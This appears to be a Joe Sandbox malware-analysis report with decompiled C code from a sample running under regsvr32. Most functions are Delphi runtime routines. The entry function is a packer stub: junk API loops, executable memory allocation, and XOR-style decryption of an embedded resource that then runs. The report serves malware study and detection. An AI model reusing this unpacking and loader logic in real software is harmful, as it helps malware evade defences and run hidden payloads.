Signature Coverage:	12.2%
Total number of Nodes:	205
Total number of Limit Nodes:	8

Executed Functions

Function 00404E14 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 184
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00404E14(intOrPtr __eax) {
				intOrPtr _v8;
				void* _v12;
				char _v15;
				char _v17;
				char _v18;
				char _v22;
				int _v28;
				char _v289;
				void** _t43;
				void** _t59;
				void** _t60;
				CHAR* _t67;
				CHAR* _t69;
				struct HINSTANCE__* _t75;
				struct HINSTANCE__* _t81;
				char* _t91;
				void* _t92;
				intOrPtr _t96;
				struct HINSTANCE__* _t104;
				void* _t107;
				void* _t109;
				intOrPtr _t110;

				_t107 = _t109;
				_t110 = _t109 + 0xfffffee0;
				_v8 = __eax;
				GetModuleFileNameA(0,  &_v289, 0x105);
				_v22 = 0;
				_t43 =  &_v12;
				_push(_t43);
				_push(0xf0019);
				_push(0);
				_push("Software\\Borland\\Locales");
				_push(0x80000001); // executed
				L00401238(); // executed
				if(_t43 == 0) {
					L3:
					_push(_t107);
					_push(0x404f19);
					_push( *[fs:eax]);
					 *[fs:eax] = _t110;
					_v28 = 5;
					E00404C5C( &_v289, 0x105);
					if(RegQueryValueExA(_v12,  &_v289, 0, 0,  &_v22,  &_v28) != 0 && RegQueryValueExA(_v12, E00405080, 0, 0,  &_v22,  &_v28) != 0) {
						_v22 = 0;
					}
					_v18 = 0;
					_pop(_t96);
					 *[fs:eax] = _t96;
					_push(E00404F20);
					return RegCloseKey(_v12);
				} else {
					_t59 =  &_v12;
					_push(_t59);
					_push(0xf0019);
					_push(0);
					_push("Software\\Borland\\Locales");
					_push(0x80000002); // executed
					L00401238(); // executed
					if(_t59 == 0) {
						goto L3;
					} else {
						_t60 =  &_v12;
						_push(_t60);
						_push(0xf0019);
						_push(0);
						_push("Software\\Borland\\Delphi\\Locales");
						_push(0x80000001); // executed
						L00401238(); // executed
						if(_t60 != 0) {
							_push(0x105);
							_push(_v8);
							_push( &_v289);
							L00401218();
							GetLocaleInfoA(GetThreadLocale(), 3,  &_v17, 5); // executed
							_t104 = 0;
							if(_v289 != 0 && (_v17 != 0 || _v22 != 0)) {
								_t67 =  &_v289;
								_push(_t67);
								L00401220();
								_t91 = _t67 +  &_v289;
								while( *_t91 != 0x2e && _t91 !=  &_v289) {
									_t91 = _t91 - 1;
								}
								_t69 =  &_v289;
								if(_t91 != _t69) {
									_t92 = _t91 + 1;
									if(_v22 != 0) {
										_push(0x105 - _t92 - _t69);
										_push( &_v22);
										_push(_t92);
										L00401218();
										_t104 = LoadLibraryExA( &_v289, 0, 2);
									}
									if(_t104 == 0 && _v17 != 0) {
										_push(0x105 - _t92 -  &_v289);
										_push( &_v17);
										_push(_t92);
										L00401218();
										_t75 = LoadLibraryExA( &_v289, 0, 2); // executed
										_t104 = _t75;
										if(_t104 == 0) {
											_v15 = 0;
											_push(0x105 - _t92 -  &_v289);
											_push( &_v17);
											_push(_t92);
											L00401218();
											_t81 = LoadLibraryExA( &_v289, 0, 2); // executed
											_t104 = _t81;
										}
									}
								}
							}
							return _t104;
						} else {
							goto L3;
						}
					}
				}
			}

0x00404e15
0x00404e17
0x00404e1f
0x00404e30
0x00404e35
0x00404e39
0x00404e3c
0x00404e3d
0x00404e42
0x00404e44
0x00404e49
0x00404e4e
0x00404e55
0x00404e97
0x00404e99
0x00404e9a
0x00404e9f
0x00404ea2
0x00404ea5
0x00404eb7
0x00404eda
0x00404efa
0x00404efa
0x00404efe
0x00404f04
0x00404f07
0x00404f0a
0x00404f18
0x00404e57
0x00404e57
0x00404e5a
0x00404e5b
0x00404e60
0x00404e62
0x00404e67
0x00404e6c
0x00404e73
0x00000000
0x00404e75
0x00404e75
0x00404e78
0x00404e79
0x00404e7e
0x00404e80
0x00404e85
0x00404e8a
0x00404e91
0x00404f20
0x00404f28
0x00404f2f
0x00404f30
0x00404f43
0x00404f48
0x00404f51
0x00404f67
0x00404f6d
0x00404f6e
0x00404f7b
0x00404f80
0x00404f7f
0x00404f7f
0x00404f8f
0x00404f97
0x00404f9d
0x00404fa2
0x00404faf
0x00404fb3
0x00404fb4
0x00404fb5
0x00404fca
0x00404fca
0x00404fce
0x00404fe7
0x00404feb
0x00404fec
0x00404fed
0x00404ffd
0x00405002
0x00405006
0x00405008
0x0040501d
0x00405021
0x00405022
0x00405023
0x00405033
0x00405038
0x00405038
0x00405006
0x00404fce
0x00404f97
0x00405041
0x00000000
0x00000000
0x00000000
0x00404e91
0x00404e73

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,004363AD,004370A4), ref: 00404E30
6DB16790.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,004363AD,004370A4), ref: 00404E4E
6DB16790.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,004363AD,004370A4), ref: 00404E6C
6DB16790.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00404E8A
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00404F19,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00404ED3
RegQueryValueExA.ADVAPI32(?,00405080,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00404F19,?,80000001), ref: 00404EF1
RegCloseKey.ADVAPI32(?,00404F20,00000000,?,?,00000000,00404F19,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00404F13
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 00404F30
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00404F3D
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 00404F43
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 00404F6E
lstrcpyn.KERNEL32(00000000,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00404FB5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000000,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00404FC5
lstrcpyn.KERNEL32(00000000,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00404FED
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000000,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00404FFD
lstrcpyn.KERNEL32(00000000,?,00000105,?,00000000,00000002,00000000,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 00405023
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000000,?,00000105,?,00000000,00000002,00000000,?,00000105,?,00000000,00000003,?), ref: 00405033

Strings

., xrefs: 00404F80
Software\Borland\Delphi\Locales, xrefs: 00404E80
Software\Borland\Locales, xrefs: 00404E44, 00404E62

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: lstrcpyn$B16790LibraryLoad$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 3158153195-3917250287
Opcode ID: 7e76f8be9af3546797e6d9926a1a8e77d2bde18b4f52c5f06f25b59407e9ad3f
Instruction ID: ba720f63363ff67e35519a26059ec8de0432512299089916cb92244aedb41daf
Opcode Fuzzy Hash: 7e76f8be9af3546797e6d9926a1a8e77d2bde18b4f52c5f06f25b59407e9ad3f
Instruction Fuzzy Hash: DF517471A4025D7EEB21D6E48C46FEF76AC9B44744F4001BBBB04F61C2DA789E448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404F20 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00404F20() {
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t42;
				char* _t51;
				void* _t52;
				struct HINSTANCE__* _t59;
				void* _t61;

				_push(0x105);
				_push( *((intOrPtr*)(_t61 - 4)));
				_push(_t61 - 0x11d);
				L00401218();
				GetLocaleInfoA(GetThreadLocale(), 3, _t61 - 0xd, 5); // executed
				_t59 = 0;
				if( *(_t61 - 0x11d) == 0 ||  *(_t61 - 0xd) == 0 &&  *((char*)(_t61 - 0x12)) == 0) {
					L14:
					return _t59;
				} else {
					_t28 = _t61 - 0x11d;
					_push(_t28);
					L00401220();
					_t51 = _t28 + _t61 - 0x11d;
					L5:
					if( *_t51 != 0x2e && _t51 != _t61 - 0x11d) {
						_t51 = _t51 - 1;
						goto L5;
					}
					_t30 = _t61 - 0x11d;
					if(_t51 != _t30) {
						_t52 = _t51 + 1;
						if( *((char*)(_t61 - 0x12)) != 0) {
							_push(0x105 - _t52 - _t30);
							_push(_t61 - 0x12);
							_push(_t52);
							L00401218();
							_t59 = LoadLibraryExA(_t61 - 0x11d, 0, 2);
						}
						if(_t59 == 0 &&  *(_t61 - 0xd) != 0) {
							_push(0x105 - _t52 - _t61 - 0x11d);
							_push(_t61 - 0xd);
							_push(_t52);
							L00401218();
							_t36 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
							_t59 = _t36;
							if(_t59 == 0) {
								 *((char*)(_t61 - 0xb)) = 0;
								_push(0x105 - _t52 - _t61 - 0x11d);
								_push(_t61 - 0xd);
								_push(_t52);
								L00401218();
								_t42 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
								_t59 = _t42;
							}
						}
					}
					goto L14;
				}
			}

0x00404f20
0x00404f28
0x00404f2f
0x00404f30
0x00404f43
0x00404f48
0x00404f51
0x0040503a
0x00405041
0x00404f67
0x00404f67
0x00404f6d
0x00404f6e
0x00404f7b
0x00404f80
0x00404f83
0x00404f7f
0x00000000
0x00404f7f
0x00404f8f
0x00404f97
0x00404f9d
0x00404fa2
0x00404faf
0x00404fb3
0x00404fb4
0x00404fb5
0x00404fca
0x00404fca
0x00404fce
0x00404fe7
0x00404feb
0x00404fec
0x00404fed
0x00404ffd
0x00405002
0x00405006
0x00405008
0x0040501d
0x00405021
0x00405022
0x00405023
0x00405033
0x00405038
0x00405038
0x00405006
0x00404fce
0x00000000
0x00404f97

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 00404F30
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 00404F3D
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 00404F43
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 00404F6E
lstrcpyn.KERNEL32(00000000,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00404FB5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000000,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00404FC5
lstrcpyn.KERNEL32(00000000,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 00404FED
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000000,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 00404FFD
lstrcpyn.KERNEL32(00000000,?,00000105,?,00000000,00000002,00000000,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 00405023
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000000,?,00000105,?,00000000,00000002,00000000,?,00000105,?,00000000,00000003,?), ref: 00405033

Strings

., xrefs: 00404F80
Software\Borland\Delphi\Locales, xrefs: 00404E80
Software\Borland\Locales, xrefs: 00404E44, 00404E62

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-3917250287
Opcode ID: 17701a7267b51a5cec1970bdf3c0c84e78737a46b4255698bf56f0231310369c
Instruction ID: 6b037978700f7696de0317c03288dca9c5e63668265eb17eda3baee107231f82
Opcode Fuzzy Hash: 17701a7267b51a5cec1970bdf3c0c84e78737a46b4255698bf56f0231310369c
Instruction Fuzzy Hash: 8D319771E4015D6AEB25D6F49C86FDF76AC8B44384F4402FBE644F61C2D6788E448F94

Uniqueness

Uniqueness Score: -1.00%

Function 004128C8 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004128C8(void* __eax, struct HINSTANCE__* __edx, CHAR* _a4) {
				CHAR* _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HRSRC__* _t12;
				void* _t18;
				void* _t23;
				CHAR* _t24;
				void* _t25;
				struct HRSRC__* _t29;
				void* _t30;
				struct HINSTANCE__* _t31;
				void* _t32;

				_v8 = _t24;
				_t31 = __edx;
				_t23 = __eax;
				_t12 = FindResourceA(__edx, _v8, _a4); // executed
				_t29 = _t12;
				 *(_t23 + 0x10) = _t29;
				_t33 = _t29;
				if(_t29 == 0) {
					E00412858(_t23, _t24, _t29, _t31, _t33, _t32);
					_pop(_t24);
				}
				_t5 = _t23 + 0x10; // 0x41296c
				_t30 = LoadResource(_t31,  *_t5);
				 *(_t23 + 0x14) = _t30;
				_t34 = _t30;
				if(_t30 == 0) {
					E00412858(_t23, _t24, _t30, _t31, _t34, _t32);
				}
				_t7 = _t23 + 0x10; // 0x41296c
				_push(SizeofResource(_t31,  *_t7));
				_t8 = _t23 + 0x14; // 0x412670
				_t18 = LockResource( *_t8);
				_pop(_t25);
				return E00412630(_t23, _t25, _t18);
			}

0x004128cf
0x004128d2
0x004128d4
0x004128df
0x004128e4
0x004128e6
0x004128e9
0x004128eb
0x004128ee
0x004128f3
0x004128f3
0x004128f4
0x004128fe
0x00412900
0x00412903
0x00412905
0x00412908
0x0041290d
0x0041290e
0x00412918
0x00412919
0x0041291d
0x00412926
0x00412931

APIs

FindResourceA.KERNEL32(00400000,?,?), ref: 004128DF
LoadResource.KERNEL32(00400000,0041296C,00410014,00400000,00000001,004363AD,?,00412839,?,?,?,?,?,004360D9,0000002C,0000002A), ref: 004128F9
SizeofResource.KERNEL32(00400000,0041296C,00400000,0041296C,00410014,00400000,00000001,004363AD,?,00412839,?,?,?,?,?,004360D9), ref: 00412913
LockResource.KERNEL32(00412670,00000000,00400000,0041296C,00400000,0041296C,00410014,00400000,00000001,004363AD,?,00412839,?), ref: 0041291D

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 649bb5d114df7a26c9c621ac643ca4050a6b99d0a50dd62b37fbff4624cc9d01
Instruction ID: 0117fc48ea1a9f1e7997880eef7d45efdb106770377ea684db79892312a71221
Opcode Fuzzy Hash: 649bb5d114df7a26c9c621ac643ca4050a6b99d0a50dd62b37fbff4624cc9d01
Instruction Fuzzy Hash: 7BF06DB22046086F9B04EE5DA981D9B77ECEE88264310012FF90CDB246DA78ED52877C

Uniqueness

Uniqueness Score: -1.00%

Function 052A4450 Relevance: 5.2, Strings: 2, Instructions: 2747
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2M, xrefs: 052A4B05
2M, xrefs: 052A4C0C

Memory Dump Source

Source File: 0000000D.00000002.457062534.00000000052A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052A0000, based on PE: true

Associated: 0000000D.00000002.458635506.0000000005363000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.458658803.0000000005365000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_52a0000_regsvr32.jbxd

Similarity

API ID:
String ID: 2M$2M
API String ID: 0-2086560787
Opcode ID: 8a857f6ced6ffe589a80321bcda053e46f00c66ead360db8a1bcc13e08b7db26
Instruction ID: d63d5fd43de6591a870c15b421812ac622dc84e8e325c226ac4d3d810b84cb6e
Opcode Fuzzy Hash: 8a857f6ced6ffe589a80321bcda053e46f00c66ead360db8a1bcc13e08b7db26
Instruction Fuzzy Hash: 2F23E737F115254FCB2CCA29CC556E9B7E7ABC8310F1A92AAC409EB354DE749E458F80

Uniqueness

Uniqueness Score: -1.00%

Function 04EA4570 Relevance: 1.7, APIs: 1, Instructions: 200
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 04EA46D0

Memory Dump Source

Source File: 0000000D.00000002.447052509.0000000004EA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04EA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4ea1000_regsvr32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: b2008bb050835d6eebf792074cf5f5e1f957166cd0137110b9b88bc3622271dc
Instruction ID: b088f0c27ea66afb065ea2b32fcc29bda74c71280949347c3ad7a7bcbb61abbf
Opcode Fuzzy Hash: b2008bb050835d6eebf792074cf5f5e1f957166cd0137110b9b88bc3622271dc
Instruction Fuzzy Hash: 87719C366186408FD714CF29D88095BB7E2FFC8314F5A8A29F595DB350D775F8128B82

Uniqueness

Uniqueness Score: -1.00%

Function 04EA13E0 Relevance: 1.4, APIs: 1, Instructions: 197
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 04EA1517

Memory Dump Source

Source File: 0000000D.00000002.447052509.0000000004EA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04EA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4ea1000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3fc920e1aa2d235cb61709c7515e6442f5bace61608376a07a033a0eab342954
Instruction ID: 9672ed1a6564fcba40c50a3607b4abc4734ac0ac78d6f1fdb77b3bfe16f2ae7e
Opcode Fuzzy Hash: 3fc920e1aa2d235cb61709c7515e6442f5bace61608376a07a033a0eab342954
Instruction Fuzzy Hash: 4D71DF36A083008FD314CF29C880A5AF7E2FFC9314F558A2DE5A58B250DB35F916CB81

Uniqueness

Uniqueness Score: -1.00%

Function 04EA21A5 Relevance: 1.4, APIs: 1, Instructions: 154COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 04EA21CB

Memory Dump Source

Source File: 0000000D.00000002.447052509.0000000004EA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04EA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4ea1000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: d092040e64e80df803845d20c16cbd46b4bbee0b8cdbc984b51c70be25356e72
Instruction ID: bfdac75627cb1338fb55433521f07f0e5b14ceacc6d90df6911eb1ba9beb59d0
Opcode Fuzzy Hash: d092040e64e80df803845d20c16cbd46b4bbee0b8cdbc984b51c70be25356e72
Instruction Fuzzy Hash: 6D51AF366082518FC714CF79C98056AF7E2FBC8304F168AADE995AB354D735F812CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00436068 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 186
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			_entry_(void* __ebx, void* __ecx) {
				intOrPtr _t10;
				intOrPtr* _t14;
				long _t16;
				signed int _t17;
				void* _t19;
				long _t20;
				signed int _t21;
				void* _t23;
				intOrPtr* _t24;
				void* _t25;
				intOrPtr _t26;
				void* _t28;
				void* _t30;
				signed int* _t32;
				signed int* _t33;
				intOrPtr* _t39;
				intOrPtr _t42;
				signed int* _t43;
				intOrPtr _t46;
				intOrPtr _t47;
				long _t50;
				signed int* _t51;
				intOrPtr _t52;
				long _t54;
				long _t55;
				int _t56;
				signed int* _t57;
				int _t58;
				signed int* _t60;
				intOrPtr _t63;
				signed int* _t66;
				void* _t68;
				intOrPtr _t70;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t74;
				signed int _t76;
				intOrPtr _t84;
				void* _t89;
				void* _t94;
				signed int* _t97;
				signed int* _t102;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t107;
				void* _t111;

				_t105 = _t106;
				_t107 = _t106 + 0xffffffc4;
				E004059B8(0x435eb0);
				_push(_t105);
				_push(0x4363ad);
				_push( *[fs:eax]);
				 *[fs:eax] = _t107;
				GetModuleHandleA("ggdsf");
				 *0x43ad54 = 0x64;
				 *0x43ad7c = 1;
				do {
					GetKBCodePage();
					GetTextColor(0); // executed
					 *0x43ad7c =  *0x43ad7c + 1;
				} while ( *0x43ad7c != 0x13ef13a1);
				_t84 =  *0x43a660; // 0x400000
				_t10 = E00412808(_t84, 1, 0x2c, 0x2a); // executed
				 *0x43ad2c = _t10;
				 *0x43ad80 = 0x1000;
				 *0x43ad78 = 0x8a58b;
				 *0x43ad68 = _t107;
				 *0x43ad68 =  *0x43ad68 + 0x50;
				 *0x43ad6c = _t105;
				 *0x43ad6c =  *0x43ad6c + 0x20;
				 *0x43ad74 =  *0x0043A650;
				 *0x43ad70 =  *0x0043A64C;
				 *0x43ad88 = 0x405c24;
				_t14 =  *0x43ad2c; // 0x4da0f18
				 *0x43ad84 =  *((intOrPtr*)( *_t14))();
				_t16 =  *0x43ad80; // 0x0
				_t17 =  *0x43ad84; // 0x0
				_t19 = VirtualAlloc(0, _t17 +  *0x43ad54, _t16, 0x40); // executed
				 *0x43ad30 = _t19;
				_t20 =  *0x43ad80; // 0x0
				_t21 =  *0x43ad84; // 0x0
				_t23 = VirtualAlloc(0, _t21 +  *0x43ad54, _t20, 0x40); // executed
				 *0x43ad38 = _t23;
				_t24 =  *0x43ad2c; // 0x4da0f18
				_t25 =  *((intOrPtr*)( *_t24))();
				_t94 =  *0x43ad30; // 0x4f80004
				_t26 =  *0x43ad2c; // 0x4da0f18
				E0041223C(_t26, _t25, _t94);
				_t28 =  *0x43ad30; // 0x4f80004
				 *0x43ad44 =  *_t28;
				_t30 =  *0x43ad30; // 0x4f80004
				 *0x43ad30 = _t30 + 4;
				_t32 =  *0x43ad38; // 0x518e400
				 *0x43ad34 = _t32;
				_t33 =  *0x43ad34; // 0x508fffc
				 *0x43ad34 = _t33 - 4;
				 *0x43ad60 = 0;
				 *0x43ad64 = 0;
				 *0x43ad50 = 0x667;
				 *0x43ad58 = 2;
				E00405E74(0);
				_t39 =  *0x43ad2c; // 0x4da0f18
				 *0x43ad5c =  *((intOrPtr*)( *_t39))();
				 *0x43ad7c = 0;
				while(1) {
					_t42 =  *0x43ad60; // 0x1035ba
					_t111 = _t42 -  *0x43ad5c; // 0x103560
					if(_t111 >= 0) {
						break;
					}
					_t66 =  *0x43ad38; // 0x518e400
					 *0x43ad3c = _t66 +  *0x43ad64;
					_t68 =  *0x43ad30; // 0x4f80004
					 *0x43ad40 = _t68 +  *0x43ad60;
					_t103 =  *0x43ad40; // 0x5083558
					_t70 =  *0x43ad3c; // 0x518e3f8
					E00405E6C(_t70, _t103);
					_t72 =  *0x43ad54; // 0x64
					 *0x43ad64 =  *0x43ad64 + _t72;
					_t73 =  *0x43ad54; // 0x64
					 *0x43ad60 =  *0x43ad60 + _t73;
					_t74 =  *0x43ad58; // 0x2
					 *0x43ad60 =  *0x43ad60 + _t74;
				}
				 *0x43ad48 = 0xfe790;
				_t43 =  *0x43ad34; // 0x508fffc
				 *0x43ad4c = _t43 +  *0x43ad48;
				 *0x43ad7c = 0;
				_t46 =  *0x43ad7c; // 0xfe400
				__eflags = _t46 -  *0x43ad44; // 0xfe400
				while(__eflags < 0) {
					_t47 =  *0x43ad7c; // 0xfe400
					 *0x43ad80 = _t47 +  *0x43ad78 - 1;
					_t50 = GetTextColor(0);
					_t97 =  *0x43ad38; // 0x518e400
					_t51 =  *0x43ad38; // 0x518e400
					 *_t51 =  *_t97 +  *0x43ad7c - _t50 - 1;
					_t52 =  *0x43ad50; // 0x667
					 *0x43ad84 = _t52 +  *0x43ad80;
					_t54 = GetTextColor(0);
					_t76 =  *0x43ad84; // 0x0
					_t55 = GetTextColor(0);
					_t56 = GetGraphicsMode(0);
					_t57 =  *0x43ad38; // 0x518e400
					 *0x43ad84 = _t76 - _t54 - 0x00000001 - _t55 - 0x00000001 + _t56 ^  *_t57;
					_t58 = GetGraphicsMode(0);
					_t102 =  *0x43ad38; // 0x518e400
					 *_t102 = _t58 +  *0x43ad84;
					_t60 =  *0x43ad38; // 0x518e400
					 *0x43ad38 =  &(_t60[1]);
					 *0x43ad80 = 0;
					_t63 =  *0x43ad7c; // 0xfe400
					 *0x43ad7c = _t63 + 4 +  *0x43ad80;
					_t46 =  *0x43ad7c; // 0xfe400
					__eflags = _t46 -  *0x43ad44; // 0xfe400
				}
				 *0x43ad4c =  *0x43ad4c + 4;
				 *0x43ad4c =  *0x43ad4c - 0x1000;
				_push( *0x43ad68);
				_push( *0x43ad6c);
				_push( *0x43ad70);
				_push( *0x43ad74);
				_push( *0x43a660);
				_push(_t46);
				_t89 = 0 +  *0x43ad4c;
				__eflags = _t89;
				_push(_t89);
				return _t46;
			}

0x00436069
0x0043606b
0x00436074
0x0043607b
0x0043607c
0x00436081
0x00436084
0x0043608c
0x00436091
0x0043609b
0x004360a5
0x004360a5
0x004360ac
0x004360b1
0x004360b7
0x004360c7
0x004360d4
0x004360d9
0x004360de
0x004360e8
0x004360f2
0x004360f8
0x004360ff
0x00436105
0x00436115
0x0043611d
0x00436127
0x0043612c
0x00436135
0x0043613c
0x00436142
0x00436150
0x00436156
0x0043615d
0x00436163
0x00436171
0x00436177
0x0043617c
0x00436183
0x00436187
0x0043618d
0x00436192
0x00436197
0x0043619e
0x004361a3
0x004361ab
0x004361b0
0x004361b5
0x004361ba
0x004361c2
0x004361c9
0x004361d0
0x004361d5
0x004361df
0x004361f6
0x004361fb
0x00436204
0x0043620b
0x00436210
0x00436210
0x00436215
0x0043621b
0x00000000
0x00000000
0x0043621d
0x00436228
0x0043622d
0x00436238
0x00436243
0x00436249
0x0043624e
0x00436253
